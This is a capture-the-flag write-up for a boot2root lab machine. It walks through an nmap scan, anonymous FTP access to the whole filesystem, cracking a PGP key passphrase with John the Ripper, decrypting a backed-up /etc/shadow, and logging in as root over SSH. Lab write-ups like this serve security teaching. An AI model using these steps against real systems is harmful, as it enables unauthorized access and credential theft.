Boot2root machine for FIT and bsides guatemala CTF
Deploy the machine and let it start for a couple of minutes before starting...
Reconnaissance
Scanning the machine shows the following ports open, which are NOT web based. This is different compared to many other boot2root machines and challenges.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-09 13:33 EST
Nmap scan report for 10.10.45.210
Host is up (0.036s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
| drwxr-xr-x 17 0 0 3700 Feb 09 10:22 dev
| drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
| drwx------ 2 0 0 16384 Aug 11 2019 lost+found
| drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
| drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
| drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread [NSE: writeable]
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
| dr-xr-xr-x 94 0 0 0 Feb 09 10:22 proc
| drwx------ 3 0 0 4096 Aug 11 2019 root
| drwxr-xr-x 18 0 0 540 Feb 09 10:22 run
| drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
| dr-xr-xr-x 13 0 0 0 Feb 09 10:22 sys
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.3.178
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
| 256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 2.67 seconds
It looks like there is a nice way in that allows an anonymous user to see all the folders in the system. However, taking a look at the permissions, not all of them can be read, like the root folder, which is to be expected.
I wonder how will it be to find some credentials!
Compromise the machine
Let's breach by connecting to that nice FTP on port 21.
ftp 10.10.45.210
Connected to 10.10.45.210.
220 (vsFTPd 3.0.3)
Name (10.10.45.210:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||14450|)
150 Here comes the directory listing.
drwxr-xr-x 23 0 0 4096 Aug 11 2019 .
drwxr-xr-x 23 0 0 4096 Aug 11 2019 ..
drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin
drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot
drwxr-xr-x 17 0 0 3700 Feb 09 10:22 dev
drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc
drwxr-xr-x 3 0 0 4096 Aug 11 2019 home
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib
drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64
drwx------ 2 0 0 16384 Aug 11 2019 lost+found
drwxr-xr-x 4 0 0 4096 Aug 11 2019 media
drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread
drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt
dr-xr-xr-x 91 0 0 0 Feb 09 10:22 proc
drwx------ 3 0 0 4096 Aug 11 2019 root
drwxr-xr-x 18 0 0 540 Feb 09 10:22 run
drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin
drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv
dr-xr-xr-x 13 0 0 0 Feb 09 10:22 sys
drwxrwxrwt 9 0 0 4096 Feb 09 10:22 tmp
drwxr-xr-x 10 0 0 4096 Aug 11 2019 usr
drwxr-xr-x 11 0 0 4096 Aug 11 2019 var
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
226 Directory send OK.
ftp>
There is one folder that should allow us to find something reeeally interesting - the notread folder. This is not a folder that is usually found in Linux machines. Let's make sure to also take a look at home to find what's hiding there.
ftp> ls home
229 Entering Extended Passive Mode (|||58192|)
150 Here comes the directory listing.
drwxr-xr-x 4 1000 1000 4096 Aug 11 2019 melodias
226 Directory send OK.
ftp> ls home/melodias
229 Entering Extended Passive Mode (|||20866|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 33 Aug 11 2019 user.txt
226 Directory send OK.
ftp>
Get that user.txt!
Looking into notread shows two interesting files.
ftp> ls notread
229 Entering Extended Passive Mode (|||53739|)
150 Here comes the directory listing.
-rwxrwxrwx 1 1000 1000 524 Aug 11 2019 backup.pgp
-rwxrwxrwx 1 1000 1000 3762 Aug 11 2019 private.asc
226 Directory send OK.
ftp>
Download those files. It looks like an encrypted backup with it's key to open it.
A first test shows that the key needs a password to be able to import it as a gpg key in the system.
There 's one nice person that can be asked... JOHN!
Start with converting the private.asc into something readable by John.
john --wordlist=/usr/share/wordlists/rockyou.txt key
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xbox360 (anonforce)
1g 0:00:00:00 DONE (2022-02-09 14:08) 11.11g/s 10333p/s 10333c/s 10333C/s xbox360..sheena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Perfect! Now let's open that backup with the nice password. Looks like the backup is for the /etc/shadow file, which is great news for those credentials that we didn't have.
Fantastic!
ssh root@10.10.45.210
The authenticity of host '10.10.45.210 (10.10.45.210)' can't be established.
ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFfTVFQUAGr+ew.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.45.210' (ED25519) to the list of known hosts.
root@10.10.45.210's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@ubuntu:~# ls
root.txt
